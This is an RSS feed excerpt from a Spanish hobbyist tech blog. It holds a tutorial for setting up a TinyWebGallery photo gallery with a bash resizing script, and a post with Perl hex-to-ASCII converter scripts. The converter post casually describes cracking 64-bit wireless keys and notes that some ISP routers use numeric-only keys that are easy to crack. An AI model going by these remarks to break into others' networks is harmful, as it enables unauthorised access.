href="http://www.addtoany.com/add_to/meneame?linkurl=http%3A%2F%2Fhackarandas.com%2Fblog%2F2010%2F04%2F02%2Ffast-mac-address-changer-in-linux%2F&amp;linkname=Fast%20MAC%20Address%20Changer%20in%20Linux" title="Meneame" rel="nofollow" target="_blank"><img src="http://hackarandas.com/blog/wp-content/plugins/add-to-any/icons/meneame.png" width="16" height="16" alt="Meneame"/></a><a class="a2a_button_technorati_favorites" href="http://www.addtoany.com/add_to/technorati_favorites?linkurl=http%3A%2F%2Fhackarandas.com%2Fblog%2F2010%2F04%2F02%2Ffast-mac-address-changer-in-linux%2F&amp;linkname=Fast%20MAC%20Address%20Changer%20in%20Linux" title="Technorati Favorites" rel="nofollow" target="_blank"><img src="http://hackarandas.com/blog/wp-content/plugins/add-to-any/icons/technorati.png" width="16" height="16" alt="Technorati Favorites"/></a><a class="a2a_button_stumbleupon" href="http://www.addtoany.com/add_to/stumbleupon?linkurl=http%3A%2F%2Fhackarandas.com%2Fblog%2F2010%2F04%2F02%2Ffast-mac-address-changer-in-linux%2F&amp;linkname=Fast%20MAC%20Address%20Changer%20in%20Linux" title="StumbleUpon" rel="nofollow" target="_blank"><img src="http://hackarandas.com/blog/wp-content/plugins/add-to-any/icons/stumbleupon.png" width="16" height="16" alt="StumbleUpon"/></a><a class="a2a_button_blogger_post" href="http://www.addtoany.com/add_to/blogger_post?linkurl=http%3A%2F%2Fhackarandas.com%2Fblog%2F2010%2F04%2F02%2Ffast-mac-address-changer-in-linux%2F&amp;linkname=Fast%20MAC%20Address%20Changer%20in%20Linux" title="Blogger Post" rel="nofollow" target="_blank"><img src="http://hackarandas.com/blog/wp-content/plugins/add-to-any/icons/blogger.png" width="16" height="16" alt="Blogger Post"/></a><a class="a2a_button_yahoo_bookmarks" href="http://www.addtoany.com/add_to/yahoo_bookmarks?linkurl=http%3A%2F%2Fhackarandas.com%2Fblog%2F2010%2F04%2F02%2Ffast-mac-address-changer-in-linux%2F&amp;linkname=Fast%20MAC%20Address%20Changer%20in%20Linux" title="Yahoo Bookmarks" rel="nofollow" target="_blank"><img src="http://hackarandas.com/blog/wp-content/plugins/add-to-any/icons/yahoo.png" width="16" height="16" alt="Yahoo Bookmarks"/></a><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fhackarandas.com%2Fblog%2F2010%2F04%2F02%2Ffast-mac-address-changer-in-linux%2F&amp;title=Fast%20MAC%20Address%20Changer%20in%20Linux" id="wpa2a_10"><img src="http://hackarandas.com/blog/wp-content/plugins/add-to-any/share_save_120_16.png" width="120" height="16" alt="Share"/></a></p>]]></content:encoded>
			<wfw:commentRss>http://hackarandas.com/blog/2010/04/02/fast-mac-address-changer-in-linux/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Habemus Galería</title>
		<link>http://hackarandas.com/blog/2007/03/15/habemus-galeria/</link>
		<comments>http://hackarandas.com/blog/2007/03/15/habemus-galeria/#comments</comments>
		<pubDate>Thu, 15 Mar 2007 22:18:42 +0000</pubDate>
		<dc:creator>Ch0ks</dc:creator>
				<category><![CDATA[Artículos]]></category>
		<category><![CDATA[c0de]]></category>

		<guid isPermaLink="false">http://hackarandas.com/blog/2007/03/15/habemus-galeria/</guid>
		<description><![CDATA[Pues ya por fin pude crear la galería y es que quería ponerla de cierta forma en particular, ya saben, soy de esos que si no cuestan uno y la mitad del otro no me sabe. Quería poner la galería de forma que no usara un servicio externo como Flicker, que se crearan los thumbs [...]]]></description>
			<content:encoded><![CDATA[<p><img  align=left id="image47" src="http://hackarandas.com/blog/wp-content/uploads/2007/04/mona-lisa-monalisa.miniatura.jpg" alt="Monalisa" /> Pues ya por fin pude crear la galería y es que quería ponerla de cierta forma en particular, ya saben, soy de esos que si no cuestan uno y la mitad del otro no me sabe. Quería poner la galería de forma que no usara un servicio externo como <a href="http://www.flicker.com/">Flicker</a>, que se  crearan los thumbs de forma dinámica y que no tuviera que usar el MySQL.</p>
<p>Encontré el <a href="http://www.tinywebgallery.com/index.php?twg_lang=en">Tiny Web Gallery</a> que sobrepasó mis expectativas, aparte de que es realmente fácil de utilizar y administrar. ¿No te ha pasado que tienes cientos de pics pero el problema es que hiciste respaldo en multiples directorios en diferentes partes de tu sistema? En fin, hice un script que me automatiza la creación de la galeria escalando las imágenes a 800&#215;600, ordenándolas y etiquetándolos con una leyenda que describa la situación del evento, para muestra un botón:</p>
<p><center><a  class="imagelink" href="http://hackarandas.com/blog/wp-content/uploads/2007/04/lentes.jpg" title="Adrian con lentes"><img id="image48" src="http://hackarandas.com/blog/wp-content/uploads/2007/04/lentes.miniatura.jpg" alt="Adrian con lentes" /></a></center></p>
<p>En mi caso me bajé el <a href="http://www.apachefriends.org/en/xampp.html">XAMPP</a> que es un excelente proyecto de que incluye Apache, PHP 4 o 5 y MySQL extremadamente amigable para administrar. Vamos a <a href="http://www.apachefriends.org/en/xampp-linux.html#374">descargarlo aqui</a> y <a href="http://http://www.apachefriends.org/en/xampp-linux.html#377">seguimos las instrucciones</a>, es importante cambiarle las contraseñas a los servicios de XAMPP para un servidor en producción sino luego no chilles si te cambian la página de inicio. Recuerda que el TWG funciona con PHP4 al menos yo no lo he probado con el PHP5 asi que cambiamos con el siguiente comando:</p>
<p><code>sudo /opt/lampp/lampp security<br />
sudo /opt/lampp/lampp php4<br />
sudo /opt/lampp/lampp  restart<br />
</code></p>
<p>Ahora descargamos el <a href="http://www.tinywebgallery.com/en/index.htm">TWG de aqui</a> lo descargamos en <em>/tmp </em>y lo ponemos en la siguiente carpeta <em>/opt/lampp/htdocs</em>. Es importante cambiarle el grupo y darle permisos de escritura al apache pues de otra forma no podremos administar e TWG.</p>
<p><code>cd /opt/lampp/htdocs/<br />
unzip -a /tmp/twg*.zip<br />
mv twg* galeria<br />
chgrp -R nobody galeria<br />
chmod -R g+w galeria<br />
</code></p>
<p>Listo! ya tenemos instalado el Apache con el PHP4 y el TWG en nuestra máquina y podemos verlo andar en la siguiente direccion <a href="http://localhost/galeria">http://localhost/galeria</a> . Debes de poder ver la galería de prueba, cosa que queremos pues significa que el &#8220;juguete&#8221; está andando, después puedes borrar esta galeria para sólo dejar la tuya. Ahora vamos a administrarla, RECUERDA CAMBIAR LOS PERMISOS. entramos a la siguiente dirección <a href="http://localhost/galeria/admin/index.php">http://localhost/galeria/admin/index.php</a> con el usuario <em>admin</em> y la contraseña <em>twg_admin</em> y nos llevará a la primera página de administración donde no exhorta cambiar el passwd cosa que recomiendo ampliamente así como cambiar el login del usuario por defecto por uno menos convencional, ya sabes, vivo en la paranoia.</p>
<p>  Para irnos directo: en el menú izquierdo vemos una liga que dice &#8220;<em>Configure TWG</em>&#8221; la pulsamos y en la opción &#8220;<em>Enable session caching of directorys and files</em>&#8221; le damos <em>false</em>. Cuando estamos actualizando la galeria es bueno tenerlo en <em>false</em> así regenera el caché y podemos ver la galeria terminada. Cuando acabemos no olvides poner en <em>true</em> esta opción, es mucho mas óptimo tenerlo habilitado cuando ya se encuentra en producción. Las imágenes se guardan en carpetas en la siguiente dirección <em> /opt/lampp/htdocs/galeria/pictures</em> Cada galeria le puedes poner una carpeta y dentro de cada carpeta puedes poner una imagen llamada <em>folder.png</em> para que sea el ícono de la Galeria así como un archivo foldername.txt para la descripción donde puedes poner HTML y hacerlo mas &#8220;<em>eye candy</em>&#8220;.</p>
<p>Vamos al famoso Script que nos automatizará la tarea de procesamiento de imágenes. Es importente tener el comando convert del <a href="http://www.imagemagick.org/">Imagemagick</a>. El <a id="p50" rel="attachment" href="http://hackarandas.com/blog/2007/03/15/habemus-galeria/script-dogallery/" title="Script doGallery">script doGallery</a></p>
<blockquote><pre>#!/bin/bash
# Script hecho por Adrian Puente.

if [ $# -lt 2 ]
then
        echo -e "Sintaxis: `basename ${0}` [Prefix Pics] ["Desc"]"
        echo -e "Ejemplo: `basename ${0}` navidad.familia.2007 \\"Navidad con la Familia 2007\\".\\n"
        echo -e "Es importante poner las descripciones con espacios entre comillas."
        echo -e "Terminando el script una carpeta 800x600 contendra las imagenes procesadas."
        exit 0
fi

[ -f PROCESADO.TXT ] \&#038;\&#038; cat PROCESADO.TXT \&#038;\&#038; echo "Borrar el archivo PROCESADO.TXT" \&#038;\&#038; exit 

PREF=${1}
DESC=${2}
OK="\\033[5;32;1mHECHO\\033[0m"
NO="\\033[5;31;1mERROR\\033[0m"

[ ! -d 800x600 ] \&#038;\&#038; mkdir 800x600
# Renombramos las pics para mayor comodidad.
CTR=0;
for i in `ls -1 *.jpg *.JPG`
do
        if [ ${CTR} -lt 10 ]
        then
                NUM=00${CTR}
        else if [ ${CTR} -lt 100 ]
        then
                        NUM=0${CTR}
                else
                        NUM=${CTR}
                fi
        fi
        CTR=`expr ${CTR} + 1`
        echo -en "Convirtiendo ${i} --> ${PREF}-${NUM}.jpg "
        convert ${i} -scale 800x600 -fill white \\
                     -box \\#00000080 -gravity South \\
                     -pointsize 25 -annotate +0+5 "${DESC}" \\
                     800x600/${PREF}-${NUM}.jpg \&#038;\&#038; echo -e [${OK}] || echo -e [${NO}]
done

echo ${DESC} > 800x600/foldername.txt
echo -e "Directorio procesado para galeria el "`date +%F` > PROCESADO.TXT
</pre>
</blockquote>
<p>El script te crea un archivo <em>foldername.txt</em>  con la descripción que escogimos que es compatible con el TWG, también crea un archivo llamado PROCESADO.TXT que guarda la fecha en que esa carpeta fue procesada para no tener múltiples instancias de las carpetas procesadas. Ahora renombramos la carpeta 800&#215;600 con un nombre que describa la situación, no sé, <em>mi_cumple_2007</em>, cuando termino restauro la opción del cache y en mi caso sincronizo los directorios con rsync, así puedo tener la galeria &#8220;en desarrollo&#8221; en mi máquina y cuando queda como quiero la subo, así tengo respaldo y no consumo el ancho de banda de mi site, ok muy ñoño pero no hay porqué ser ineficientes.   </p>
<p><code>rsync --progress -avz -e ssh /opt/lampp/htdocs/galeria usuario@sitioweb:camino/a/los/htdocs<br />
</code></p>
<p>Si tienes algún problema extraño recuerda los permisos . En mi caso mi usuario y grupo en el sitio web es diferente al que tengo en mi máquina así que es bueno verificar los permisos de los grupos. Si quieres aumentarle la seguridad a tu sitio cambia el nombre de la carpeta admin por algún nombre difícil de adivinary accesa por la misma carpeta /index.php. Listo! la galeria ha sido creada. Enjoy</p>
<p>La galería de este su Blog es: <a href="http://http://www.hackarandas.com/galeria">http://www.hackarandas.com/galeria</a></p>
<p><em>Adrián Puente Z.</em></p>
<p><a class="a2a_button_slashdot" href="http://www.addtoany.com/add_to/slashdot?linkurl=http%3A%2F%2Fhackarandas.com%2Fblog%2F2007%2F03%2F15%2Fhabemus-galeria%2F&amp;linkname=Habemus%20Galer%C3%ADa" title="Slashdot" rel="nofollow" target="_blank"><img src="http://hackarandas.com/blog/wp-content/plugins/add-to-any/icons/slashdot.png" width="16" height="16" alt="Slashdot"/></a><a class="a2a_button_tumblr" href="http://www.addtoany.com/add_to/tumblr?linkurl=http%3A%2F%2Fhackarandas.com%2Fblog%2F2007%2F03%2F15%2Fhabemus-galeria%2F&amp;linkname=Habemus%20Galer%C3%ADa" title="Tumblr" rel="nofollow" target="_blank"><img src="http://hackarandas.com/blog/wp-content/plugins/add-to-any/icons/tumblr.png" width="16" height="16" alt="Tumblr"/></a><a class="a2a_button_wordpress" href="http://www.addtoany.com/add_to/wordpress?linkurl=http%3A%2F%2Fhackarandas.com%2Fblog%2F2007%2F03%2F15%2Fhabemus-galeria%2F&amp;linkname=Habemus%20Galer%C3%ADa" title="WordPress" rel="nofollow" target="_blank"><img src="http://hackarandas.com/blog/wp-content/plugins/add-to-any/icons/wordpress.png" width="16" height="16" alt="WordPress"/></a><a class="a2a_button_twitter" href="http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fhackarandas.com%2Fblog%2F2007%2F03%2F15%2Fhabemus-galeria%2F&amp;linkname=Habemus%20Galer%C3%ADa" title="Twitter" rel="nofollow" target="_blank"><img src="http://hackarandas.com/blog/wp-content/plugins/add-to-any/icons/twitter.png" width="16" height="16" alt="Twitter"/></a><a class="a2a_button_linkedin" href="http://www.addtoany.com/add_to/linkedin?linkurl=http%3A%2F%2Fhackarandas.com%2Fblog%2F2007%2F03%2F15%2Fhabemus-galeria%2F&amp;linkname=Habemus%20Galer%C3%ADa" title="LinkedIn" rel="nofollow" target="_blank"><img src="http://hackarandas.com/blog/wp-content/plugins/add-to-any/icons/linkedin.png" width="16" height="16" alt="LinkedIn"/></a><a class="a2a_button_google_bookmarks" href="http://www.addtoany.com/add_to/google_bookmarks?linkurl=http%3A%2F%2Fhackarandas.com%2Fblog%2F2007%2F03%2F15%2Fhabemus-galeria%2F&amp;linkname=Habemus%20Galer%C3%ADa" title="Google Bookmarks" rel="nofollow" target="_blank"><img src="http://hackarandas.com/blog/wp-content/plugins/add-to-any/icons/google.png" width="16" height="16" alt="Google Bookmarks"/></a><a class="a2a_button_facebook" href="http://www.addtoany.com/add_to/facebook?linkurl=http%3A%2F%2Fhackarandas.com%2Fblog%2F2007%2F03%2F15%2Fhabemus-galeria%2F&amp;linkname=Habemus%20Galer%C3%ADa" title="Facebook" rel="nofollow" target="_blank"><img src="http://hackarandas.com/blog/wp-content/plugins/add-to-any/icons/facebook.png" width="16" height="16" alt="Facebook"/></a><a class="a2a_button_google_reader" href="http://www.addtoany.com/add_to/google_reader?linkurl=http%3A%2F%2Fhackarandas.com%2Fblog%2F2007%2F03%2F15%2Fhabemus-galeria%2F&amp;linkname=Habemus%20Galer%C3%ADa" title="Google Reader" rel="nofollow" target="_blank"><img src="http://hackarandas.com/blog/wp-content/plugins/add-to-any/icons/reader.png" width="16" height="16" alt="Google Reader"/></a><a class="a2a_button_digg" href="http://www.addtoany.com/add_to/digg?linkurl=http%3A%2F%2Fhackarandas.com%2Fblog%2F2007%2F03%2F15%2Fhabemus-galeria%2F&amp;linkname=Habemus%20Galer%C3%ADa" title="Digg" rel="nofollow" target="_blank"><img src="http://hackarandas.com/blog/wp-content/plugins/add-to-any/icons/digg.png" width="16" height="16" alt="Digg"/></a><a class="a2a_button_meneame" href="http://www.addtoany.com/add_to/meneame?linkurl=http%3A%2F%2Fhackarandas.com%2Fblog%2F2007%2F03%2F15%2Fhabemus-galeria%2F&amp;linkname=Habemus%20Galer%C3%ADa" title="Meneame" rel="nofollow" target="_blank"><img src="http://hackarandas.com/blog/wp-content/plugins/add-to-any/icons/meneame.png" width="16" height="16" alt="Meneame"/></a><a class="a2a_button_technorati_favorites" href="http://www.addtoany.com/add_to/technorati_favorites?linkurl=http%3A%2F%2Fhackarandas.com%2Fblog%2F2007%2F03%2F15%2Fhabemus-galeria%2F&amp;linkname=Habemus%20Galer%C3%ADa" title="Technorati Favorites" rel="nofollow" target="_blank"><img src="http://hackarandas.com/blog/wp-content/plugins/add-to-any/icons/technorati.png" width="16" height="16" alt="Technorati Favorites"/></a><a class="a2a_button_stumbleupon" href="http://www.addtoany.com/add_to/stumbleupon?linkurl=http%3A%2F%2Fhackarandas.com%2Fblog%2F2007%2F03%2F15%2Fhabemus-galeria%2F&amp;linkname=Habemus%20Galer%C3%ADa" title="StumbleUpon" rel="nofollow" target="_blank"><img src="http://hackarandas.com/blog/wp-content/plugins/add-to-any/icons/stumbleupon.png" width="16" height="16" alt="StumbleUpon"/></a><a class="a2a_button_blogger_post" href="http://www.addtoany.com/add_to/blogger_post?linkurl=http%3A%2F%2Fhackarandas.com%2Fblog%2F2007%2F03%2F15%2Fhabemus-galeria%2F&amp;linkname=Habemus%20Galer%C3%ADa" title="Blogger Post" rel="nofollow" target="_blank"><img src="http://hackarandas.com/blog/wp-content/plugins/add-to-any/icons/blogger.png" width="16" height="16" alt="Blogger Post"/></a><a class="a2a_button_yahoo_bookmarks" href="http://www.addtoany.com/add_to/yahoo_bookmarks?linkurl=http%3A%2F%2Fhackarandas.com%2Fblog%2F2007%2F03%2F15%2Fhabemus-galeria%2F&amp;linkname=Habemus%20Galer%C3%ADa" title="Yahoo Bookmarks" rel="nofollow" target="_blank"><img src="http://hackarandas.com/blog/wp-content/plugins/add-to-any/icons/yahoo.png" width="16" height="16" alt="Yahoo Bookmarks"/></a><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fhackarandas.com%2Fblog%2F2007%2F03%2F15%2Fhabemus-galeria%2F&amp;title=Habemus%20Galer%C3%ADa" id="wpa2a_12"><img src="http://hackarandas.com/blog/wp-content/plugins/add-to-any/share_save_120_16.png" width="120" height="16" alt="Share"/></a></p>]]></content:encoded>
			<wfw:commentRss>http://hackarandas.com/blog/2007/03/15/habemus-galeria/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Hex 2 ASCII y viceversa</title>
		<link>http://hackarandas.com/blog/2007/02/13/hex-2-ascii-y-viceversa/</link>
		<comments>http://hackarandas.com/blog/2007/02/13/hex-2-ascii-y-viceversa/#comments</comments>
		<pubDate>Tue, 13 Feb 2007 19:10:23 +0000</pubDate>
		<dc:creator>Ch0ks</dc:creator>
				<category><![CDATA[c0de]]></category>

		<guid isPermaLink="false">http://hackarandas.com/blog/2007/02/22/hex-2-ascii-y-viceversa/</guid>
		<description><![CDATA[He estado jugando un poco con redes inalámbricas y cuando logras romper alguna de 64 bits la llave te sale en Hexadecimal. Se me ocurrió que a lo mejor podría significar algo en ASCII asi que pensé en hacerme un pequeño script para convertirlo rápidamente. Encontrar un ejemplo práctico fue difícil asi que comparto este [...]]]></description>
			<content:encoded><![CDATA[<p><img align="left" id="image30" src="http://hackarandas.com/blog/wp-content/uploads/2007/02/hex.miniatura.gif" alt="Hexadecimal." />He estado jugando un poco con redes inalámbricas y cuando logras romper alguna de 64 bits la llave te sale en Hexadecimal. Se me ocurrió que a lo mejor podría significar algo en ASCII asi que pensé en hacerme un pequeño script para convertirlo rápidamente.  Encontrar un ejemplo práctico fue difícil asi que comparto este script para el deleite de otro g33k.</p>
<p><strong>ascii2hex.pl</strong></p>
<blockquote><div class="dean_ch" style="white-space: wrap;"><span class="co1">#!/usr/bin/perl</span><br />
<span class="co1"># Script editado por Adrian Puente Z.</span></p>
<p><span class="kw2">use</span> strict;<br />
<span class="kw2">use</span> warnings;</p>
<p><span class="kw1">if</span> <span class="br0">&#40;</span> $<span class="co1">#ARGV == -1 )</span><br />
<span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://perldoc.perl.org/functions/print.html"><span class="kw3">print</span></a> <span class="st0">&quot;Sintaxis: ascii2hex.pl [cadena ASCII]<span class="es0">\\</span>n&quot;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://perldoc.perl.org/functions/exit.html"><span class="kw3">exit</span></a>;<br />
<span class="br0">&#125;</span></p>
<p>
<span class="kw1">my</span> <span class="re0">$testchars</span> = <span class="re0">$ARGV</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>;<br />
<span class="kw1">my</span> <span class="re0">$hexchars</span> = <span class="st0">&#8221;</span>;<br />
<span class="kw1">foreach</span> <span class="kw1">my</span> <span class="re0">$c</span> <span class="br0">&#40;</span><a href="http://perldoc.perl.org/functions/split.html"><span class="kw3">split</span></a><span class="br0">&#40;</span>//,<span class="re0">$testchars</span><span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$hexchars</span> .= <a href="http://perldoc.perl.org/functions/sprintf.html"><span class="kw3">sprintf</span></a> <span class="st0">&quot;%x&quot;</span>, <a href="http://perldoc.perl.org/functions/ord.html"><span class="kw3">ord</span></a><span class="br0">&#40;</span><span class="re0">$c</span><span class="br0">&#41;</span>;<br />
<span class="br0">&#125;</span><br />
<a href="http://perldoc.perl.org/functions/print.html"><span class="kw3">print</span></a> <span class="st0">&quot;$hexchars<span class="es0">\\</span>n&quot;</span>;</div>
</blockquote>
<p>Este Script hace lo contrario pero con otra aproximación:</p>
<p><strong>hex2ascii.pl</strong></p>
<blockquote><div class="dean_ch" style="white-space: wrap;"><span class="co1">#!/usr/bin/perl</span><br />
<span class="co1"># Script editado por Adrian Puente Z.</span></p>
<p><span class="kw2">use</span> strict;<br />
<span class="kw2">use</span> warnings;</p>
<p><span class="kw1">if</span> <span class="br0">&#40;</span> $<span class="co1">#ARGV == -1 )</span><br />
<span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://perldoc.perl.org/functions/print.html"><span class="kw3">print</span></a> <span class="st0">&quot;Sintaxis: hex2ascii.pl [cadena HEX]<span class="es0">\\</span>n&quot;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://perldoc.perl.org/functions/exit.html"><span class="kw3">exit</span></a>;<br />
<span class="br0">&#125;</span></p>
<p><span class="kw1">my</span> <span class="re0">$s</span> = <span class="re0">$ARGV</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>;<br />
<span class="re0">$s</span> =~ <a href="http://perldoc.perl.org/functions/s.html"><span class="kw3">s</span></a>/://g;<br />
<span class="re0">$s</span> =~ <a href="http://perldoc.perl.org/functions/s.html"><span class="kw3">s</span></a>/ //g;<br />
<span class="kw1">my</span> <span class="re0">$l</span>=<a href="http://perldoc.perl.org/functions/length.html"><span class="kw3">length</span></a> <span class="re0">$s</span>;<br />
<span class="kw1">my</span> <span class="re0">@a</span>=<a href="http://perldoc.perl.org/functions/pack.html"><span class="kw3">pack</span></a> <span class="st0">&quot;H$l&quot;</span>,<span class="re0">$s</span>;<br />
<a href="http://perldoc.perl.org/functions/print.html"><span class="kw3">print</span></a> <span class="st0">&quot;@a<span class="es0">\\</span>n&quot;</span></div>
</blockquote>
<p>El truco del hex2ascii es que cuando tienes una cadena de tipo <em>AE:34:DF:12</em> quita los caracteres <em>:</em> y lo convierte con la función <em>pack</em> de <em>perl</em>. Es cosa de checar la documentación para poder cambiar de otros formatos como binario a ASCII o HEX.</p>
<p>Ah, y no, no significan nada en ASCII, los que yo encontré. Normalmente en los routers <em>2WIRE</em> de <em>Prodigy</em> tienen una clave en la parte inferior del dispositivo que, por lo que he visto, son siempre números facilitando <em>mucho</em> el rompimiento de la llave de la red.</p>
<p><strong><em>Adrián Puente Z.</em></strong></p>
<p><a class="a2a_button_slashdot" href="http://www.addtoany.com/add_to/slashdot?linkurl=http%3A%2F%2Fhackarandas.com%2Fblog%2F2007%2F02%2F13%2Fhex-2-ascii-y-viceversa%2F&amp;linkname=Hex%202%20ASCII%20y%20viceversa" title="Slashdot" rel="nofollow" target="_blank"><img src="http://hackarandas.com/blog/wp-content/plugins/add-to-any/icons/slashdot.png" width="16" height="16" alt="Slashdot"/></a><a class="a2a_button_tumblr" href="http://www.addtoany.com/add_to/tumblr?linkurl=http%3A%2F%2Fhackarandas.com%2Fblog%2F2007%2F02%2F13%2Fhex-2-ascii-y-viceversa%2F&amp;linkname=Hex%202%20ASCII%20y%20viceversa" title="Tumblr" rel="nofollow" target="_blank"><img src="http://hackarandas.com/blog/wp-content/plugins/add-to-any/icons/tumblr.png" width="16" height="16" alt="Tumblr"/></a><a class="a2a_button_wordpress" href="http://www.addtoany.com/add_to/wordpress?linkurl=http%3A%2F%2Fhackarandas.com%2Fblog%2F2007%2F02%2F13%2Fhex-2-ascii-y-viceversa%2F&amp;linkname=Hex%202%20ASCII%20y%20viceversa" title="WordPress" rel="nofollow" target="_blank"><img src="http://hackarandas.com/blog/wp-content/plugins/add-to-any/icons/wordpress.png" width="16" height="16" alt="WordPress"/></a><a class="a2a_button_twitter" href="http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fhackarandas.com%2Fblog%2F2007%2F02%2F13%2Fhex-2-ascii-y-viceversa%2F&amp;linkname=Hex%202%20ASCII%20y%20viceversa" title="Twitter" rel="nofollow" target="_blank"><img src="http://hackarandas.com/blog/wp-content/plugins/add-to-any/icons/twitter.png" width="16" height="16" alt="Twitter"/></a><a class="a2a_button_linkedin" href="http://www.addtoany.com/add_to/linkedin?linkurl=http%3A%2F%2Fhackarandas.com%2Fblog%2F2007%2F02%2F13%2Fhex-2-ascii-y-viceversa%2F&amp;linkname=Hex%202%20ASCII%20y%20viceversa" title="LinkedIn" rel="nofollow" target="_blank"><img src="http://hackarandas.com/blog/wp-content/plugins/add-to-any/icons/linkedin.png" width="16" height="16" alt="LinkedIn"/></a><a class="a2a_button_google_bookmarks" href="http://www.addtoany.com/add_to/google_bookmarks?linkurl=http%3A%2F%2Fhackarandas.com%2Fblog%2F2007%2F02%2F13%2Fhex-2-ascii-y-viceversa%2F&amp;linkname=Hex%202%20ASCII%20y%20viceversa" title="Google Bookmarks" rel="nofollow" target="_blank"><img src="http://hackarandas.com/blog/wp-content/plugins/add-to-any/icons/google.png" width="16" height="16" alt="Google Bookmarks"/></a><a class="a2a_button_facebook" href="http://www.addtoany.com/add_to/facebook?linkurl=http%3A%2F%2Fhackarandas.com%2Fblog%2F2007%2F02%2F13%2Fhex-2-ascii-y-viceversa%2F&amp;linkname=Hex%202%20ASCII%20y%20viceversa" title="Facebook" rel="nofollow" target="_blank"><img src="http://hackarandas.com/blog/wp-content/plugins/add-to-any/icons/facebook.png" width="16" height="16" alt="Facebook"/></a><a class="a2a_button_google_reader" href="http://www.addtoany.com/add_to/google_reader?linkurl=http%3A%2F%2Fhackarandas.com%2Fblog%2F2007%2F02%2F13%2Fhex-2-ascii-y-viceversa%2F&amp;linkname=Hex%202%20ASCII%20y%20viceversa" title="Google Reader" rel="nofollow" target="_blank"><img src="http://hackarandas.com/blog/wp-content/plugins/add-to-any/icons/reader.png" width="16" height="16" alt="Google Reader"/></a><a class="a2a_button_digg" href="http://www.addtoany.com/add_to/digg?linkurl=http%3A%2F%2Fhackarandas.com%2Fblog%2F2007%2F02%2F13%2Fhex-2-ascii-y-viceversa%2F&amp;linkname=Hex%202%20ASCII%20y%20viceversa" title="Digg" rel="nofollow" target="_blank"><img src="http://hackarandas.com/blog/wp-content/plugins/add-to-any/icons/digg.png" width="16" height="16" alt="Digg"/></a><a class="a2a_button_meneame" href="http://www.addtoany.com/add_to/meneame?linkurl=http%3A%2F%2Fhackarandas.com%2Fblog%2F2007%2F02%2F13%2Fhex-2-ascii-y-viceversa%2F&amp;linkname=Hex%202%20ASCII%20y%20viceversa" title="Meneame" rel="nofollow" target="_blank"><img src="http://hackarandas.com/blog/wp-content/plugins/add-to-any/icons/meneame.png" width="16" height="16" alt="Meneame"/></a><a class="a2a_button_technorati_favorites" href="http://www.addtoany.com/add_to/technorati_favorites?linkurl=http%3A%2F%2Fhackarandas.com%2Fblog%2F2007%2F02%2F13%2Fhex-2-ascii-y-viceversa%2F&amp;linkname=Hex%202%20ASCII%20y%20viceversa" title="Technorati Favorites" rel="nofollow" target="_blank"><img src="http://hackarandas.com/blog/wp-content/plugins/add-to-any/icons/technorati.png" width="16" height="16" alt="Technorati Favorites"/></a><a class="a2a_button_stumbleupon" href="http://www.addtoany.com/add_to/stumbleupon?linkurl=http%3A%2F%2Fhackarandas.com%2Fblog%2F2007%2F02%2F13%2Fhex-2-ascii-y-viceversa%2F&amp;linkname=Hex%202%20ASCII%20y%20viceversa" title="StumbleUpon" rel="nofollow" target="_blank"><img src="http://hackarandas.com/blog/wp-content/plugins/add-to-any/icons/stumbleupon.png" width="16" height="16" alt="StumbleUpon"/></a><a class="a2a_button_blogger_post" href="http://www.addtoany.com/add_to/blogger_post?linkurl=http%3A%2F%2Fhackarandas.com%2Fblog%2F2007%2F02%2F13%2Fhex-2-ascii-y-viceversa%2F&amp;linkname=Hex%202%20ASCII%20y%20viceversa" title="Blogger Post" rel="nofollow" target="_blank"><img src="http://hackarandas.com/blog/wp-content/plugins/add-to-any/icons/blogger.png" width="16" height="16" alt="Blogger Post"/></a><a class="a2a_button_yahoo_bookmarks" href="http://www.addtoany.com/add_to/yahoo_bookmarks?linkurl=http%3A%2F%2Fhackarandas.com%2Fblog%2F2007%2F02%2F13%2Fhex-2-ascii-y-viceversa%2F&amp;linkname=Hex%202%20ASCII%20y%20viceversa" title="Yahoo Bookmarks" rel="nofollow" target="_blank"><img src="http://hackarandas.com/blog/wp-content/plugins/add-to-any/icons/yahoo.png" width="16" height="16" alt="Yahoo Bookmarks"/></a><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fhackarandas.com%2Fblog%2F2007%2F02%2F13%2Fhex-2-ascii-y-viceversa%2F&amp;title=Hex%202%20ASCII%20y%20viceversa" id="wpa2a_14"><img src="http://hackarandas.com/blog/wp-content/plugins/add-to-any/share_save_120_16.png" width="120" height="16" alt="Share"/></a></p>]]></content:encoded>
			<wfw:commentRss>http://hackarandas.com/blog/2007/02/13/hex-2-ascii-y-viceversa/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>La chinche del FTP.</title>
		<link>http://hackarandas.com/blog/2007/01/27/la-chinche-del-ftp/</link>
		<comments>http://hackarandas.com/blog/2007/01/27/la-chinche-del-ftp/#comments</comments>
		<pubDate>Sat, 27 Jan 2007 08:04:01 +0000</pubDate>
		<dc:creator>Ch0ks</dc:creator>
				<category><![CDATA[c0de]]></category>
		<category><![CDATA[Seguridad]]></category>

		<guid isPermaLink="false">http://hackarandas.com/blog/2007/01/27/la-chinche-del-ftp/</guid>
		<description><![CDATA[Imaginemos que eres sysadmin de una empresa con una red clase B, tus becarios están en exámenes finales, te acaba de llegar una notificación de la BSA amenazándote de una auditoría de software y encima es cierre y contabilidad te tiene azorado con preguntas repetitivas de los usaurios (no, no está mal escrito). Obvio no [...]]]></description>
